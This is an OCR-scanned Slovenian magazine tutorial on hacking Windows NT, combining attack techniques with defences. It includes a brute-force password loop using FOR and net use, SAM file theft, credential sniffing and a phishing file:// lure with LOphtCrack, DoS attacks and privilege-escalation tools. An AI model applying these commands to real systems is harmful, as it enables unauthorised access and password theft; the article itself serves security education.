napadov, da postanejo hekerji

ob pogledu nanj kar »penasti.
KaksSne nevarnosti grozijo in kako
se jim izogniti?

PiSe: Tomaz Bratusa
tomaz.bratusa@mojmikro.si

prafanja varnosti tega Microsoftovega iz-
delka je prvi izpostavil heker, znan pod
imenom Hobbit, predvsem pomanjkljivo-
sti v datote¢nem sistemu CIFS (Common
Internet File System) in bloku za stre?nigka spo-
ro¢ila SMB (Server Message Block). Sledili so
plazovi napadov na sisteme Windows NT.

Microsoft je na odkritja varnostnih teZzav
vztrajno odgovarjal, zato varnost sistemov Win-
dows NT ne bi smela biti manjsa kot pri drugih
operacijskih sistemih. Problem, s katerim se
je sre¢al Microsoft, je edinstvena kompaktna
struktura tega sistema, ki vkljucuje spletni strez-
nik IIS, daljinsko upravljanje itd. Zaradi pre-
pletenosti vseh teh komponent obstaja velika
verjetnost, da bo napadalec odkril slabo tocko,
prek katere bo vstopil v sistem. Na drugi strani
pa lahko dober poznavalec Windows NT napra-
vi tovrstni sistem varen v tolik$ni meri, kot so
varni tudi vsi sistemi Unix.

Zakaj se torej ne moremo v popolnosti zana-
Sati na NT? Obstajajo trije razlogi: potreba po
zdruzljivosti s prejsnjimi izdelki, enostavna upo-
raba in prepletanje mnogih komponent. Kot
boste videli v nadaljevanju, se NT za omreZeva-
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nje $e vedno naslanja na protokole NetBIOS in
CIFS/SMB, pri ¢emer je Sifriranje gesel zasno-
vano na starem algoritmu LanManager (LM).
Ta dva elementa napadalcem v veliki meri
olajsata popisovanje sistemov in deSifriranje
gesel. Na videz enostavno delovno okolje de-
luje neizkusenim skrbnikom zelo privla¢no. Na
podlagi izkuenj lahko povem, da pogosto tudi
izkuSeni skrbniki ne uporabljajo odpornih gesel
in sistemov ne nastavljajo na osnovi temeljnih
varnostnih nacel. Zato obstaja verjetnost, da bo
vsaj v enem streZniku ali delovni postaji NT-
omreZja obstajalo skrbnisko geslo, ki bo prazno.
Verjetnosti se $e povecajo, ko pomislimo na
lahkoto vzpostavljanja testnih NT-sistemov in
njihove sposobnosti povezovanja.

Varnost sistema Windows NT je na udaru
kritikov, saj naj bi bila vzroka tefav nerazumno
veliko §tevilo programov in ogromna koda, ki
je zadolZena vse te programe dr¥ati skupaj. Za-
pletenost in medsebojna povezanost programov
pa sta dejavnika, ki povzro¢ata varnostne po-
manjkljivosti.

Tako, doslej smo problem Windows NT vide-
li s pti¢je perspektive, zdaj pa se bomo spustili v
podrobnosti. Od tega mesta naprej predpostav-
ljamo, da so bile pred napadom na Windows
NT napravljene vse »hekerske« priprave (iz-
bira cilja, popisovanje, skeniranje ...). Ce kot

rezultat skeniranja dobite odprta vrata 135 in
139, je ciljni sistem najverjetneje Windows.
Kadar pa odkrijete samo vrata 139, je sistem
najverjetneje Windows 9x ali pa Unix Samba.

Verjetno se kdo od bralcev ¢udi, zakaj sem Win-
dows NT lo¢il od Windows 2000. Razlog za njuno
logeno obravnavanje so seveda razlike. Vsekakor
pa so vse tehnike, opisane v tem delu, uporabne
tudi s sistemi Windows 2000, kar $e posebej velja
za konfiguracije z Ze nastavljenimi parametri.

Prvo pravilo NT-varovanja je to, da napa-
dalec ne pomeni nevarnosti, ¢e ni pridobil do-
stopa do skrbniskega (administratorskega) ali
sistemskega rafuna. Zapomnite si tudi to, da
NT brez dodatnih orodij ni sposoben izvrievati
ukazov v procesorskem prostoru oddaljenega ra-
Cunalnika. Tudi v primeru, ko je NT tega sposo-
ben, je interaktivno prijavljanje v NT-strefnike
rezervirano samo za skrbnika. Navadnemu upo-
rabniku so s tem omejene mo#nosti za poskodo-
vanje sistema z oddaljene lokacije.

Seveda pa imajo tudi navadni uporabniki
mo?nost poskodovanja sistema, &e zlorabijo
znane varnostne pomanjkljivosti.

V tem delu bomo torej kro¥ili okrog skrbnika,
kot to po&nejo morski psi pred izbiro Zrtve.

Kadar se na vratih 139 javlja NetBIOS-ova
storitev Session Service, je najucinkovitejo
vdor v NT-sistem ravno ugibanje gesel z odda-
ljene lokacije. To pomeni, da se bo napadalec
s preizkuSanjem razlicnih uporabnigkih imen
in gesel, poskusal dokopati do vagih sredstev v
skupni rabi (IPC$ ali C$).

Za uspesno odkrivanje gesel bo napadalec nuj-
no potreboval seznam veljavnih uporabnigkih
imen. V prej$njih ¢lankih sem vam Ze predstavil
nekaj u¢inkovitih metod za odkrivanje veljavnih
uporabniskih imen, zato na hitro obnovimo upo-
rabo programa DumpSec oz. DumpACL.

DumpSec je eno najboljsih orodij za pridobi-
vanje podatkov o uporabnikih sistema, najdete
pa ga na naslovu www.systemtools.com/cgi-bin/
download.pl?’DumpAcl. DumpSec je sposoben
odkrivanja uporabniskih imen, skupin kot tudi
sistemskih pravil za delo oz. uporabnikove pri-
vilegije. V naslednjem primeru bomo z Dump-
Secom ustvarili datoteko s seznamom uporab-
nikov oddaljenega sistema. Za delo programa
DumpSec je neizogibna poprej$nja anonimna
prijava v rtvin ratunalnik.

(¥

Seznam veljavnih uporabniskih imen



UNKH N

Se ena v vrsti mo#nosti pridobivanja veljav-
nih uporabniskih imen je uporaba programov,
kot sta sid2user in user2sid. Obe orodji sta
namenjeni za delo iz ukazne vrstice in odkri-
vata uporabnike na osnovi njihovega SID-a
oz. obratno. Programa najdete na spletnem
naslovu http://evgenii.rudnyi.ru/programming.
html#sid2user .

Iznajdljivi napadalec bo po odkritju veljavnih
uporabniskih imen najverjetneje uporabil Net-
work Neighborhood (za sisteme v krajevnem
omre%ju) oz. Find Computer in IP-naslov, &e
sistem ni povezan v krajevno omreZje. Namesto
odkrivanja globalnih uporabniskih ratunov v
racunalnikih, ki upravljajo z NT-domenami, se
napadalci veliko raje lotevajo odkrivanja gesel v
posameznih N'T-streznikih in delovnih postajah.
Druga&e kot pri strogih pravilih ustvarjanja gesel,
ki navadno veljajo za organizacije, ima napada-
lec veliko ve¢ moZnosti pri preverjanju lokalnih
uporabniskih ra¢unov, ki odra?ajo varnostno
strategijo posameznega uporabnika. Poleg tega
omogocajo delovne postaje (NT Workstation)
interaktivni pristop vsakemu uporabniku (upo-
rabnik Everyone se lahko prijavi lokalno), kar
olajsa izvrSevanje oddaljenih ukazov.

Ce napadalcu uspe odkriti geslo za uporabni-
ka, kot sta Administrator ali Domain Admin
na primarnem upravljalcu domen (PDC), ima
v lasti celotno domeno (po mo#nosti pa tudi
domene, s katero je prevzeta domena vzposta-
vila odnose zaupanja). Naceloma se napadal-
cem splaca poiskati PDC in z neagresivnimi
metodami preizkusiti glavne racune, hkrati pa
s skeniranjem celotne domene odkriti sisteme,
v katerih je geslo uporabnika Administrator
prazno.

Ce se boste lotevali varnostnega testiranja,
se pred preizkuSanjem odpornosti gesel najprej
prepricajte, ali je sistem nastavljen tako, da po
nekaj napa¢nih poskusih preprosto onemogodi
prijavo uporabnika, katerega racun je taréa po-
skusov.

V praksi lahko verjetnost zaklepanja ratunov
preverite z orodjem, kot je Enum, s katerim
boste spoznali pravila za delo z gesli oddaljenih
uporabnikov. S trojanskim konjem okuZeno
razli¢ico Enuma najdete na spletnem naslovu
www.mwtechs.com/download.htm. Naj vas za-
$¢ita datoteke z geslom ne preslepi, saj je to pri-
ljubljena tehnika »skriptnih otro¢ajev (script
kiddies), s katero poskusajo preslepiti protivi-
rusni program. Za pridobitev nedotaknjenih
razli¢ic vam priporo¢am da uporabite Google.

Glede izbiranja odpornih gesel smo povedali
%e kar nekaj zato vas bom raje napotil na splet-
ni naslov www.thenetworkadministrator.com/
hack/defaultpw.htm , kjer boste nasli obgiren
seznam Ze nastavljenih gesel razli¢nih sistemov.

Avtomatizirano ugibanje gesel lahko nasta-
vimo z ukazno vrstico in ukazom FOR, ki ga
povezemo s standardno sintakso ukaza NET
USE. Najprej moramo seveda izdelati datoteko,
v kateri bodo zajeta najverjetnej$a uporabniska

imena in gesla. V ta namen ustvarimo navadno
datoteko .txt, ki naj bo videti nekako takole:

Geslo

Uporabnisko ime

Password administrator

Admin administrator

Administrator administrator
administrator

Za razdvajanje uporabniskega imena in gesla
sem uporabil znak tabulator, pri tem pa bodite
pozorni, da pri vnosih praznega gesla poleg upo-
rabnitkega imena ni ni¢esar.

Zdaj lahko naso datoteko z gesli (gesla.txt)
vklju¢imo s parametrom FOR:

C:\>FOR [F “tokens=1,2*" %i in (gesla.txt)
do net use \ \taréin_IP\IPC$ %i [u:%j

Zgorniji ukaz analizira datoteko gesla.txt, iz nje
vzame prvi dve besedi iz vsake vrstice ter jih vstavi
kot spremenljivki %i (geslo) in %j (uporabnigko
ime) v standardni ukaz net use, s katerim se racu-
nalnik poveZe na sredstva v skupni rabi (IPC$) tar-
&inega sistema. Za podrobnejsa navodila o uporabi
ukaza FOR, ki je za hekerje eden najuporabne;sih,
vpisite v DOS-ovo ukazno vistico FOR/?.

Obstaja vrsta specializiranih programov, s
katerimi lahko samo-
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na omre?ni kartici, ki sistem povezuje v inter-
net, medtem ko lahko med sistemi v krajevnem
omreZju NetBIOS nemoteno uporabljate.

Windows 2000 uporabniku ravno tako
omogoda izkljuditev NetBIOS-a na omrez-
nih karticah, a kot boste videli v nasled-
njem ¢lankuy, to ni popolna reSitev. V tem
primeru je najbolja resitev popolna izklju-
&itev storitve datotek in tiskalnikov v skup-
ni rabi.

Ce vas NTsistem deluje kot streznik datotek,
vam verjetno dosedanji nasveti ne pomagajo
ravno veliko. V teh primerih morate uporabiti
tradicionalne nadine zas¢ite, kot so:

e zaklepanje uporabniskih ra¢unov po nekaj
neuspelih poskusih prijavljanja,
vztrajanje pri izbiri odpornih gesel,

e beleZenje neuspelih poskusov prijavljanja
v povezavi z rednim pregledovanjem
dnevnikov.

Ce pri pregledovanju varnostnih dnevnikov
(security logs) naletite na vrsto dogodkov pod
Sifro 529 (napaka pri prijavi/odjavi) ali 539
(zaklenitev uporabnika), je to zanesljiv znak, da
ste bili #rtev avtomatiziranega napada na gesla.
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namenjeno  prever-
janju internetnih in
NetBIOS-ovih naslovov ter odkrivanju upo-
rabnikov in uporabnigkih racunov, ki niso za-
varovani z geslom.

Obstaja kar nekaj obrambnih prijemov, ki
lahko odstranijo oziroma zmanj$ajo moznosti
uspesne uganitve gesla. Najprej vam svetujem,
da NT-sisteme, ki ne bi smeli odgovarjati na
zahteve po sredstvih v skupni rabi, zavarujete
tako, da blokirate dostop do TCP- in UDP-vrat
135-139 na obodnem poZarnem zidu omreZja.
Poleg tega bi bilo dobro onemogoéiti povezavo
odjemalca WINS (nastavitev TCP/IP) za vsako
omre?no kartico, ki je povezana z javnim omre?-
jem. Tako lahko onemogocite NetBIOS samo

Uporabniski vmesnik programa LOphtCrack 4 in nastavitvene moznosti

Praviloma bo v dnevniku zabeleZen tudi na-
padalCev sistem, vendar je tukaj Microsoft na-
pravil napako. NT in Windows 2000 ne bele%i-
jo IP-naslova napadalca, temve¢ samo njegovo
ime NetBIOS. Seveda ni ni¢ la¥jega od tega,
da napadalec redno spreminja ime NetBIOS
racunalnika in s tem pred preiskovalce postavi
dodatne ovire.

Premislite tudi o orodjih za la%je pregledova-
nje varnostnih dnevnikov in sistemih za odkri-
vanje in prepreevanje napadov.

Ker uganitev pravega gesla ni lahka na-
loga, je veliko u¢inkovitej§i nacin, da geslo
preprosto zajamemo medtem, ko potuje prek
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omreZja. Specializirano orodje, s katerim lahko
zanimiva NetBIOS-ova gesla zajamemo tudi v
omreZju, se imenuje LOphtcrack, ki ga lahko
prevzamete s spletnega naslova www.atstake.
com/products/lc/.

Da bi lahko uspe$no uporabil LOphtCrack,
mora napadalec najprej pridobiti kopijo Sifri-
rane datoteke z gesli, ki je v sistemih Windows
shranjena v zbirki podatkov, imenovani SAM
(Security Accounts Manager) in je posebnih
orodij prakti¢no neberljiva. Datoteka SAM je
v imeniku\ WINNT \system32 \ config. Ce
boste poskusali datoteko SAM kopirati, boste
prejeli obvestilo o napaki, ki pravi, da je da-
toteka v uporabi in kopiranje ni mogoce. Ne
obupajte! Windows namre¢ shranjuje kopijo
SAM-a v imenik \WINNT \repair\ vcasih pa
tudi v imenik \WINNT \repair\RegBack\.
Oba imenika sta privzeto berljiva s strani vseh
uporabnikov sistema.

Naslednja v vrsti mo?nosti je tudi ta, da
LophtCrack pridobi gesla iz lokalnih in tudi
oddaljenih sistemov z orodjem PWDump, kar
pa zahteva v tar¢inem sistemu dostop na ravni
skrbnika. Pridobivanje gesla na daljavo zahteva
pravilno prijavo NetBIOS-a, kar lahko za vas
opravi LophtCrack ali pa to naredite ro¢no
tako, da v ukazni vrstici vpisete:

C:\net use \ \#rtev\admin$ * fu: Administrator
Type the password for \ \localhost\ Admin$:

The command completed successfully.

Naj omenim $e eno v vrsti moznosti, ki jih
uporabljajo napadalci s fizi¢nim dostopom do
tarée. Najpogosteje sistem zaZenejo v DOS-u
ali Linuxu (s CD-ja, z diskete ali USB klju-
¢a), pri ¢emer lahko nemoteno prekopirajo
zbirko SAM, ki je obitajno v imeniku /win-
dows/system32/config. Ker DOS ne zna brati
particij NTFS, bo moral napadalec za uspe$no
izvedbo naloge uporabiti tudi program, imeno-
van NTFSDOS, ki je za branje particij NTFS
ustrezno strokovno »podkovan«.

Prav tako ima LOphtCrack moZnost pridobi-
vanja gesel z vohljanjem (sniffing) omreZja, saj
vsebuje orodje SMB Packet Capture. S to spo-
sobnostjo postane kraja datoteke z gesli odvec-
na, saj bo LOphtCrack prestrezal overjevalne
pakete »izziv-odgovor« (challenge-response),
kadarkoli se bo uporabnik prijavil v krajevno
omreZje ali ob dostopu do datotek v skupni rabi.
Overjanje izziv-odgovor namre¢ temelji na upo-
rabnikovem geslu in LOphtCrack je pravi na-
slov za njegov zlom in s tem pridobitev gesla.

Namestitev prislugkovalne programske opre-
me (sniffer) pa ni tako majhen zalogaj, saj
vkljucuje zavzetje stratesko pomembne tocke v
omreju. Da bi si napadalci olajsali delo, so se
domislili metode, s katero pridejo Zrtve same do
njih in jim nevede predajo potrebne informaci-
je. Napadalec pri tem uporabi metodo »social-
nega in¥eniringa« s tem, da #rtvi poslje e-posto,
v kateri med drugim navede povezavo

File://ime_ra¢unalnika_napadalca/share/spo-
ro&ilo.html

Ko #rtev sledi omenjeni povezavi, poskusa
dostopati do datotek v skupni rabi v napadal&e-
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vem ratunalniku, kar povzro¢i overjevalni pro-
ces izziv-odgovor. Ker pa je napadalec poprej v
svojem sistemu zagnal program LOphtCrack, bo
ta prestregel overjevalne podatke. Za dokonda-
nje napada mora napadalec prestrefene poda-
tke vnesti v LOphtCrack orodje in z lomljenjem
pridobiti geslo za dostop do Zrtvinega sistema.

E .... . ‘.'- -: ... :l-. - P L e T = :"'“ ..... de ..'. .'... h
il Imb Wrow e

HKEY_LOCAL_MACHINE\System\ Cur-
rentControlSet\ Control\LSA

dodajte znacilnost LMCompatibilityLevel
tipa REG_DWORD, vrednosti 4.

Vrednost 4 onemogoca upravljalcu domene
sprejemanije zahtev LM. Zal se starejsi sistemi
(Win 9x, Windows for Workgroups ...) po to-
vrstni spremembi ne bodo
ve¢ sposobni prijaviti v

omreZje. Opisana modifi-

kacija zato ni uporabna v

podjetjih, kjer uporabljajo
raznovrstne stareje siste-
me Windows. Microsoft je
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v Windows 2000 sisteme
dodal nov sistem podpore
prenosa podatkov, ki jih
sistemi Win9x posiljajo v
identifikacijske namene.
Novi sistem se imenuje
Directory Services Cli-

ent (DSClient), ki je kot
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Fer =
Tebalid

Do Cagne

sistemska datoteka Dscli-
ent.exe na namestitvenem

b |

Omenjeni primer prikazuje domiselnost in
uporabnost kombiniranih metod (socialni in-
Yeniring, vohljanje in lomljenje gesel), ki jih v
napadih pogosto uporabljajo najbolj znani he-
kerji. U¢inkovitost odkrivanja Sifriranega gesla,
ki ga ka%e orodje SMB Packet Capture v kombi-
naciji z razbijalnikom gesel glavnega programa
LOphtcrack, je tolik§na, da z njuno pomodjo
prevzamemo skrbnisko geslo Ze po nekaj dneh
prisluskovanja omreZju. SliSite kako varnosti
vaSega omreZja odbijajo zadnje ure?

Po uspesni pridobitvi Sifriranih gesel ta pre-
nesemo v program LOphtCrack, kjer izberemo
nadin lomljenja (slovar, groba sila, hibridno) in
kliknemo Run Crack. Na zaslonu lahko nato
spremljamo napredovanje in odkrita gesla v re-
alnem ¢asu, kot smo videli na sliki 2. Z gledis-
¢a hekerskih tehnik, kot je npr. preusmerjanje
s protokolom ARP, nam pred prisluskovanjem
tudi tako imenovana komutirana omreZja ne
dajejo zadostne zaiCite.

Se ena v vrsti hekerskih metod in napadov
na NT-sisteme je tudi posredovanje Sifriranega
gesla, ki ga napadalec prej pridobi s prislusko-
vanjem prometa SMB ali iz ukradene N'T-dato-
teke z gesli.

Lokalni varnostni podsistem LSASS (Local
Security Authority Subsystem) varuje prijavne
seje in z njimi povezane identifikatorje upo-
rabnika. Znani so postopki menjave tovrstnih
vrednosti v pomnilniku, kar napadalcem omo-
goci la¥no predstavljanje in vstop v sistem s po-
modjo Sifriranega gesla. Orodja za tovrstne na-
pade niso Siroko razprostranjena in jih zaenkrat
uporabljajo predvsem svetovalna podjetja.

Obramba: Microsoft je z izdajo servisnega paketa
4 (SP4) za NT 4.0 v sistemski register dodal kljug,
ki prepreuje identifikacijo LanMan. Kljucu:

CD-ju  Windows 2000.
Uporabniki sistemov Win9x lahko s spremem-
bo nastavitev v registru sistem prisilijo, da pri
povezovanju uporablja samo varnejso NT-ifro.

V tem delu ¢lanka se bomo pozabavali s pol-
ofajem, ko napadalci v taréinem sistemu niso
uspesno odkrili gesla. Napadalci v tem primeru
nimajo veliko izbire (razen napadov na ravni
storitev, kot so npr. napadi na IIS). Ena izmed
mo?nosti je tudi uporaba notranjih varnostnih
pomanjkljivosti NT-arhitekture, med zadnjimi
sredstvi pa sta uporaba orodij za zavrnitev sto-
ritve — DoS (Denial of Service) in onesposobi-
tev tarlinega sistema.

Razdirjeno mnenje je, da imajo sistemi Win-
dows NT 3tevilne prehode, namenjene odda-
ljenemu dostopu na ravni skrbnika. Doslej je
bilo odkritih samo nekaj tovrstnih varnostnih
lukenj, ki so vse po vrsti temeljile na pomanj-
kljivostih posameznih aplikacij in ne v samem
operacijskem sistemu.

Najpogubnejsa izmed tovrstnih varnostnih
pomanjkljivosti je prav gotovo prekoracenje
medpomnilnika (buffer overflow), do katere-
ga pride, kadar aplikacije ne preverijo vrsto in
Stevilo vnesenih podatkov. PreseZek podatkov
se zaradi tega prelije na izvrSilni del procesorja,
kjer se izvrijo. Ce napadalec modro izbere vne-
sene podatke lahko v sistemu izvr3i poljubno
kodo.

Prekoragenja medpomnilnika v grobem deli-
mo na lokalne in oddaljene napade. Tovrstni
napadi so v zadnjem Casu pri hekerjih izjemno
priljubljeni, saj napadalcu omogog&ijo vstop v
sistem, hkrati pa ponujajo veliko mo#nosti nad-
zora ranljivega sistema. Tovrstni napadi so zna-
ni %e vrsto let, pravcati razcvet pa so doziveli z
objavo ¢lanka Smashing the Stack for Fun and
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Profit, ki je bil objavljen v spletnem hekerskem
Casopisu Phrack st. 49.

Vsak sestavni del operacijskega sistema je
lahko ranljiv za tovrstne napade, prav tako sla-
bo napisana aplikacij. Z raziskovanjem taksne
aplikacije ali operacijskega sistema lahko napa-
dalec v sistemu izvr$i arbitrarne ukaze, s kate-
rimi prevzame sistem. Predstavljajte si poloZaj,
v katerem lahko napadalec v vasem stre?niku,
delovni postaji ali prenosnem racunalniku izvr-
§i ukaz ali dva. Odvisno od ravni dostopa lahko
napadalec doda novega uporabnika, spremeni
gesla, konfiguracijo sistema in podobno.

V vseh primerih napada s prekoraditvijo
medpomnilnika je metoda naslednja:

- Napadalec vnese v aplikacijo ve& podatkov
kot pa ima aplikacija rezerviranega prostora. S
tem napadalec prepiSe lokalne spremenljivke
s strojno kodo, pri Cemer se sistem ne ustavi
ob koncu izviievanja lokalnih spremenljivk,
temvec nalo?i procesorju tudi izvriitev dodane
strojne kode.

- Procesor izvrsi dodano strojno kodo in s tem
Yeleni arbitrarni ukaz napadalca (zadnja vrata
so s tem odprta).

Ves problem je v tem, da dolotena funkcija
aplikacije ne preveri koli¢ine vnesenih po-
datkov. Zdaj pa si poglejmo vrste ukazov, ki
jih napadalci v ve&ini primerov uporabijo. Pri
operacijskem sistemu Unix je obi¢ajno najupo-
rabne;jsi nacin, da v sistemu zaZenemo ukazno
lupino (command shell). Prek ukazne lupine (/
bin/sh) lahko izvedemo katerikoli ukaz ali apli-
kacijo, name$¢eno v sistemu.

Pri operacijskem sistemu Windows N'T/2000/
XP napadalci najpogosteje uporabijo prekoraci-
tev medpomnilnika tako, da ta omogoé&i izvr-
Sitev specifi¢nih datotek DLL (Dynamic Link
Library). Datoteke DLL so programcki, ki jih
uporabljajo razlicne aplikacije v sistemu za iz-
viditev razli¢nih opravil. Ena izmed naju¢inko-
vitejsih datotek DLL je prav gotovo WININET.
dll, ki omogo&a napadalcu posiljanje zahtev in
pridobitev informacij od napadenega sistema.

Napadi s prekoracitvijo medpomnilnika so
odvisni od vrste procesorja in operacijskega si-
stema, ki tece v taréinem sistemu. Zato se teh-
nike napada razlikujejo od sistema do sistema.
Napad zoper sistem Linux na procesorju X86
tako ne bo deloval pri sistemu Windows XP in
procesorju Alpha itd.

V vetini sodobnih aplikacij uporabnik vnese
podatke v temu namenjen vnosni prostor. Na
lokalnih sistemih uporabnik vnasa ukaze v gra-
ficni uporabniski vmesnik (GUI) ali v ukazno
vrstico, medtem pri programih, do katerih do-
stopa uporabnik prek omreZja, podatki vstopajo
skozi vrata, na katerih aplikacija poslusa.

Za raziskavo prekoraditve medpomnilnika bo
napadalec vnesel podatke v GUI ali v ukazno
vrstico ali pa bo prek omreZja poslal posebej
predelane podatke, v katerih bo vkljuéena tudi
strojna koda. Tako formuliran vnos bo nato
povzrodil, da bo aplikacija posredovala skodlji-
vo strojno kodo procesorju, ki bo ukaz izvriil in
s tem napadalcu omogogil vstop v sistem.

Napadalci odkrivajo ranljive aplikacije na

ve¢ nacinov, med njimi pa so najpogostejsi:

- pregled izvirne kode programa, kjer is¢ejo
vnose, kot so fgets, gets, getws, memcpy, mem-
move, scanf, sprintf, strcat in strncpy;

- izvajanje ranljivega programa v laborato-
riju s posebno programsko opremo, ki vnasa
velike koli¢ine podatkov z namenom razkritja
podrobnosti prekoracitve medpomnilnika (opis
tovrstnega nadina najdete na www.eeye.com/
html/).

Zaradi velikosti in zapletenosti kode Win-
dows NT obstaja verjetnost, da se v njej skriva
poleg opisanih 3e veliko ve¢ tovrstnih pomanj-
kljivosti. Ce vas zanima raziskovanje tovrstnih
napadov, lahko podrobnosti izbrskate na splet-
nem naslovu www2.packetstormsecurity.org.

Napadi DoS (Denial of Service) izkoris¢ajo
ranljivosti izvedbe IP-protokola, zaradi &esar
delujejo na vseh osnovah, od Unixa do Win-
dows. Najboljsi predstavnik tak$nega napada je
napad LAND, ki onesposobi ve& kot 20 ope-
racijskih sistemov. Se en razlog veg, da je treba

&

napade DoS vzeti resno, saj je njihova uporaba
enostavna tudi za »skriptne otrofaje« z mini-
malnim znanjem programiranja.

Vsak sistemski skrbnik bi moral dobro pozna-
ti vsaj nekaj najpogostejsih napadov DoS. Ce-
prav so DoS napadi oznadeni kot »low-level«
napadi je lahko skrajno sramotno, ¢e z enim
taks$nih napadom za nekaj ¢asa izgubimo celo-
tno omreZje podjetja.

Tipi¢ni predstavnik orodij DoS je prav go-
tovo WinNuke, ki onesposobi starejse sisteme
Windows (Windows 95, 98 in NT), taréa pa je
prisiljena na ponovni zagon (reboot) sistema.
Program je prilagojen za uporabo na ve&ini ope-
racijskih sistemov , njegov opis in binarno raz-
lit¢ico pa najdete na: http://techrepublic.com.
com/5100-6313-1054537.html

SYN Flood je naslednji tipi¢ni predstavnik,
ki za delovanje izkori$¢a pomanjkljivosti TCP-
povezav. Vsaka TCP-povezava namred vsebuje
tako imenovano trojno usklajevanje (three-
way handshake), to pa se za¢ne s paketom SYN,
ki ga odjemalec poslje stre?niku na dologena
odprta vrata. Ko stre?nik prejme paket SYN,
si ta zapomni izvorno sekven¢no Stevilko in na
podlagi te generira odziv SYN-ACK. Streznik
mora za to, da bi si lahko zapomnil sekvenc-
no Stevilko odjemalca, rezervirati doloc¢en del
pomnilnika, saj lahko le tako sledi tej polodprti
povezavi. Napad SYN Flood celoten postopek
zlorabi tako, da strezniku poslje ogromno koli-
&ino paketov SYN, pri ¢emer se zaéne napadeni
streZnik utapljati v poplavi novo nastalih pol-
odprtih povezav. Rezultat tega napada je pol-
ozaj, ko stre?nik ni ve¢ sposoben prejemati po-
vezav od drugih legitimnih uporabnikov. SYN
Flood lahko komunikacijske vire napadenega
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sistema iz&rpa na dva nadina:

e Po odzivu strefnika s paketom SYN-ACK
streznik obi¢ajno ¢aka na tretji del vzpostavlja-
nja povezave, pri ¢emer je obi¢ajno nastavljen
izte¢ni ¢as (timeout) dalj8i od minute. Odjema-
lec preprosto zapolni pomnilnik strefnika s tako
imenovanimi polodprtimi povezavami, pri Ce-
mer tretjega dela povezave ne opravi. Da lahko
odjemalec izvede u¢inkovit napad, uporabljajo
orodja SYN ponarejanje IP-naslovov, ki v in-
ternetu ne obstajajo oz. so neodzivni. To je po-
membno zato, ker taksni neodzivni IP-naslovi
ne bodo ustvarili tretjega dela povezave. Ce bi
napadalec uporabil obstojece odzivne IP-naslo-
ve, bi tak naslov poslal kot odgovor na zahtevo
SYN-ACK preprosto paket RST (reset), s ¢imer
bi omenjeno povezavo zavrnil in tako zaklju&il
trojno usklajevanje in s tem sprostil pomnilnik
tarCinega stre?nika.

e Druga mo?nost napada SYN je poloZaj, ko
ima streznik na voljo ogromno pomnilnika, pri
¢emer napadalec tega ne more v popolnosti po-
plaviti. Napadalec lahko v tem primeru zasede
celotno komunikacijsko povezavo in tako izri-

ne ves legitimni promet v strefniku. Za tovrstni
napad je pogoj, da ima napadalec zmogljivejso
povezavo v internet, kot pa jo ima taréa. Po-
leg tega mora imeti napadalec tudi sposobnost
ustvarjanja paketov v koli¢ini, ki bo zapolnila
celotno pasovno $irino tarée. Zgled je polozaj,
ko ima taréa povezavo T1, ki deluje pri hitro-
sti 1,544 Mb/s. V tem primeru bi moral imeti
napadalec povezavo 1,544 Mb/s (in nekaj bitov
vet), da bi lahko zasedel celotno povezavo. Na-
padalec bo nedosegljivost strernika ohranjal,
vse dokler bo pasovna $irina stre?nikove pove-
zave zasedena.

Prva obramba pred napadi SYN Flood je za-
gotavljanje dovolj velike pasovne $irine in za-
gotovitev dodatnih redundantnih povezav za
vse kriti¢ne sisteme. Z zagotovitvijo dodatnih
rezervnih internetnih povezav boste lahko pri
napadu promet hitro preusmerili po novi poti.
Za posebej ob&utljive sisteme, ki morajo biti
neprestano povezani v internet, bi bilo dobro
zagotoviti povezljivost prek vsaj dveh razli¢nih
[SP-jev.

Razli¢ni proizvajalci operacijskih sistemov so
se napadov SYN lotili na razlicne nacine, pri
Eemer se nekateri nagibajo k povedevanju pom-
nilnika, rezerviranega za povezave, medtem ko
drugi skrajsujejo ¢as, v katerem sistem ¢aka na
polodprte povezave. Seznam proizvajalcev in
varnostnih popravkov najdete na naslovu www.
nation-wide.net/$taleph1/FAQ .

Redno names¢anje varnostnih popravkov
je klju¢nega pomena tudi v obrambi pred to-
vrstnimi napadi, namestitev sodobnega poZzar-
nega zidu pa prav gotovo igra klju¢no vlogo v
obrambi pred tipi¢nimi predstavniki tovrstnih
napadov.
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hekerske metode

Vzemimo, da je napadalcu na zagetku napada
uspelo odkriti uporabnisko ime in geslo, vendar
ne gre za uporabnika s skrbniskimi pravicami.
V NT-okolju je tovrstni poloZaj samo kancek
ugodnejsi od polozaja, ko dostopa sploh nimate.
Vsekakor pa tudi v tem primeru poznamo orod-
ja, s katerimi lahko svoja pooblastila razsirite
vse do skrbniske ravni.

Najpreprostej$i nacin spoznavanja tovrstnih
moznosti vaSega sistema je ta, da se vanj pove-
Yete kot navaden uporabnik in nato poskusate
pridobiti skrbniske pravice po receptih, ki sle-
dijo v nadaljevanju.

GetAdmin
To je majhen program, ki ga je napisal Kon-
stantin Sobolev in vam omogo&a prodor v skrb-

&

nisko skupino. Program uporablja metodo, bolj
znano kot DLL-vbrizganje (DLL Injection), s
&imer ugrabi proces, imenovan winlogon. Edi-
na pomanjkljivost tega programa je dejstvo, da
se mora program izvajati lokalno v tar¢inem
sistemu. Ker ve&ina uporabnikov nima moz-
nosti lokalne prijave v NT-stre?nik, je program
uporaben samo, &e poznate geslo uporabniskega
rauna, pod katerim tefe internetni stre?nik
(obi¢ajno IUSR_ime_racunalnika).

Obramba pred programom GetAdmin je mo-
goca z namestitvijo varnostnih popravkov SP3
za NT. Oddaljeni napadi s programom GetAd-
min niso ravno lahki, saj so za kakr$nokoli da-
ljinsko delo potrebna skrbniska pooblastila. Da
bi bilo to izvedljivo, je treba zagotoviti dvoje:

- napadalec mora imeti sposobnost izvajanja
programov in

- vpisovanje podatkov v obstojece imenike..

V nadaljevanju vas bom seznanil, kako je to
uresnicljivo.

Sechole deluje podobno kot GetAdmin, saj
napadalcu omogoca premaknitev obstojecega upo-
rabnika med skrbnike (administratorje) tarcinega
sistema. Popolno kodo za napad z orodjem Sechole
in podroben opis njegovega delovanja najdete na
naslovu  www.windowsitpro.com/Article/ Article-
ID/9269/9269 .html.

Podobno kot GetAdmin se mora tudi Secho-
le izvrsiti lokalno, a &e je v tarinem sistemu
nameséen streznik IIS (Internet Information
Server), lahko napadalec izvede napad tudi
z oddaljene lokacije. Napad, ki vam ga bom
predstavil, napadalcu omogoci vstop v skupino
Administrators oz. Domain Admins.

Napad je zasnovan tako, da napadalec v
strezniku IIS odkrije imenik, v katerega lahko
vpisuje in ki mu isto¢asno omogoca izvr§evanje
programov. Na zadovoljstvo napadalcev je Mic-
rosoft v sistemu NT 4.0 priskrbel kar nekaj to-
